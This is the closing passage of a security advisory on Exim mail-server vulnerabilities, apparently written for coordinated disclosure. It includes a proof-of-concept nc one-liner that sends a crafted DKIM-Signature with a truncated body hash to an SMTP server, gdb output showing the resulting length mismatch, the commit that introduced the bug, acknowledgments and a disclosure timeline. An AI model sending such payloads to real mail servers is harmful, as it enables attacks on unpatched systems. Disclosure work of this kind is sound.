Proof of concept
------------------------------------------------------------------------

(
sleep 10;
echo 'EHLO test';
sleep 3;
echo 'MAIL FROM:<>';
sleep 3;
echo 'RCPT TO:postmaster';
sleep 3;
echo 'DATA';
sleep 30;
printf 'DKIM-Signature:a=rsa-sha512;bh=QUFB\r\n\r\nXXX\r\n.\r\n';
sleep 30
) | nc -n -v 192.168.56.101 25

Breakpoint 6, 0x000055e180320401 in pdkim_finish_bodyhash (ctx=<optimized out>) at pdkim.c:825
(gdb) print sig->bodyhash
$2 = {data = 0x55e181b9ed10 "AAA", len = 3}
(gdb) print b->bh.len
$3 = 64

------------------------------------------------------------------------
History
------------------------------------------------------------------------

This vulnerability was introduced in Exim 4.70:

------------------------------------------------------------------------
commit 80a47a2c9633437d4ceebd214cd44abfbd4f4543
Date:   Wed Jun 10 07:34:04 2009 +0000
...
+      if (memcmp(bh,sig->bodyhash,
+                 (sig->algo == PDKIM_ALGO_RSA_SHA1)?20:32) == 0) {
------------------------------------------------------------------------



========================================================================
Acknowledgments
========================================================================

We thank Exim's developers for their hard work on this security release.
We thank Mitre's CVE Assignment Team for their quick responses to our
requests. We thank Damien Miller for his kind answers to our seteuid()
questions. We also thank the members of distros@openwall.



========================================================================
Timeline (abridged)
========================================================================

2020-10-20: We (qsa@qualys) informed Exim (security@exim) that we
audited central parts of the code, discovered multiple vulnerabilities,
and are working on an advisory. Exim immediately acknowledged our mail.

2020-10-28: We sent the first draft of our advisory to Exim. They
immediately acknowledged our mail, and started to work on patches.

2020-10-29: We sent a list of 10 secondary issues to Exim (to the best
of our knowledge, these issues are not CVE-worthy).

2020-10-30: We requested 20 CVEs from Mitre. They were assigned on the
same day, and we immediately transmitted them to Exim.

2020-11-13: Exim gave us read access to their private Git repository. We
started reviewing their first set of patches (which tackled 7 CVEs).

2020-11-17 and 2020-11-18: We sent a two-part patch review to Exim
(several patches were incomplete).

2020-12-02: A second set of patches (which tackled 7 secondary issues)
appeared in Exim's private Git repository. We started reviewing it.

2020-12-09: We sent our second patch review to Exim.

2021-01-28: We mailed Exim and offered to work on the incomplete and
missing patches (the last commit in Exim's private Git repository dated
from 2020-12-02).

2021-02-05: Exim acknowledged our mail. We started to write a minimal
but complete set of patches (on top of exim-4.94+fixes).

2021-02-15: While working on a patch for CVE-2020-28014, we discovered
CVE-2021-27216. We requested a CVE from Mitre, and immediately sent a
heads-up to Exim.

2021-02-24: We completed our minimal set of patches and sent it to Exim.

2021-04-17: Exim proposed 2021-05-04 for the Coordinated Release Date.

2021-04-19: We accepted the proposed Coordinated Release Date.

2021-04-21: Exim publicly announced the impending security release.

2021-04-27: Exim provided packagers and maintainers (including
distros@openwall) with access to their security Git repository.

2021-04-28: We sent a draft of our advisory and our minimal set of
patches to distros@openwall.

2021-05-04: Coordinated Release Date (13:30 UTC).